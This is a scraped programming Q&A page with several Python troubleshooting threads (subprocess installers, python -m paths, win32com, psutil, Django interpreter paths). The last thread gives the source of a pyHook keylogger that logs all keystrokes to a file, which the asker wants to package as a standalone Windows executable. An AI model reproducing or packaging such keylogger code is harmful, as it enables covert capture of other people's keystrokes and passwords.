how to install program (.exe) using subprocess module in python - python-3.x

Need example for install program (.exe) using subprocess module in python
I am using following code and got "[WinError 2] The system cannot find the file specified"
I verified The path and it is correct
iv_arg = [ r'C:\Users\shlomil\Desktop\Utilities_Installers_new\Programs\iview444_x64_setup.exe']
subprocess.run(iv_arg)

This works for me:
iv_arg = "C:\\Users\\shlomil\\Desktop\\Utilities_Installers_new\\Programs\\iview444_x64_setup.exe"
subprocess.run(iv_arg, shell=True)

Related

Command works at the file path, but won't work from root

I'm still a newbie at bash programming, but trying to run a program with little script. Reducing the problem to the error message, I have
cd /full/path/to/program
python3 -m krop
that is the command working when the actual folder is the /full/path/to/program
but if I run the same from root it doesn't work.
cd /another/path
python3 -m /full/path/to/program/krop
/usr/bin/python3: Error while finding module specification for '/full/path/to/program/krop'
(ModuleNotFoundError: No module named 'krop-0')
I tried lot of variants, but always the same output with errors. I do not have a clue of why the library "python3" adds the "-0" at the end of the name of the file.
What should I put to run the program from root?
python -m command expects a module name, similarly to the syntax you would import in a python program. So if your modules lies in ./directory and directory is a valid python module, you can do python -m directory.krop
You can't however index python modules from file system root. You have either to make your bash script run it in the good directory so you make a local import; or you have to package and install your module system-wide to make a global import that would be invoked with python -m krop from anywhere.
More information on packaging and installing modules: https://packaging.python.org/tutorials/packaging-projects/
Problem solved!,
It was a matter of managing the python import paths, as #hiroprotagonist replied. The list that contains all of directories python will use to search for modules, is available in a variable named sys.path.
So, if somebody wants to run a program (a 'library module as a script', according to python help) through python's command, from a directory different from the 'pwd' one, should write in the command line:
export PYTHONPATH='/full/path/to/program/'
python3 -c "import sys; print(sys.path)"
python3 -m krop
The second line is actually to print on screen, but the first one is the only necessary (export PYTHONPATH).
Thank you for the keywords and help!
Ps. May be should be edited the question title to "problem with a python command to run a program from command line on linux" or something like that.
Reference: python --help :)

ModuleNotFoundError: No module named 'win32com'

Actually, I have the same problem as him:
No module named win32com
I have installed pywin32 but MobaXterm tells me "No module named win32com".
However, I am able to run my program using IDLE with no error.
What's the problem?
Code:
import win32com.client
import sys, os
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut('C:/Users/Seaky/Desktop/CS 160.lnk')
os.chdir(shortcut.Targetpath)
What I am doing is that I am trying to do "cdlnk path" in the terminal using python code, where the path is a shortcut folder like the path above instead of a real path.
I used different code for running in the terminal and the IDLE but I only changed the path string from sys.argv[1] to the current one, which should not affect the result.
I have found out. The compiler of python installed in the MobaXterm doesn't have the pywin32 module.

module 'psutil' has no attribute 'process_iter' in python 3.5

I am using python 3.5.2 on windows10 machine and having problems running a py script.
I am getting this error: 'psutil has no attribute process_iter' if either use psutil.process_iter() or psutil.process.get_list().
I have psutil 5.4.3 installed.
Downloaded and tried this file https://pypi.python.org/pypi/psutil.. no luck
Here is the code:
import psutil
def processcheck(seekitem):
for proc in psutil.process_iter():
#for proc in psutil.get_process_list():
if proc.name() == seekitem:
....
for process in machine_process:
processcheck(process)
Any idea how can you get around this?
It works in Linux though.
Thank you.
I had this problem when my script was named psutil.py
Just rename your file if you have the same issue.

Getting python2.7 path in django app for subprocess call

I am using linux. I am trying to run daemon from function in django views. I want to run shell command from a view in Djangp app. I am using python 2.7. Command needs python2.7 path.
My app will be like plug n play. So on system on which it is going to install may have python installed on different location. So I want to make python path dynamic.
Command will be
usr/bin/python2.7 filename.py --start
On my system path is usr/bin/python2.7.
I found follwing using os.
On python shell I tried following code & I get what I want
import os
getPyPath = os.popen('which python2.7', 'r')
pyPath = getPyPath.read()
pyPath.rstrip()
I got o/p as which is expected as below
usr/bin/python2.7
So now how to get this code is django app view function & run it so that I can get python path in a variable.
I found pythons subprocess module call using which we can run command through shell using shell=True.
So can I get above code running in django view function using subprocess call??
If not what is the other ways to get python path in variable in function django views.
Thanks in advance.
To view the full path to the current Python interpreter, use sys.executable
import sys
print(sys.executable)

cx_Freeze program created from python won't run

I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.

Resources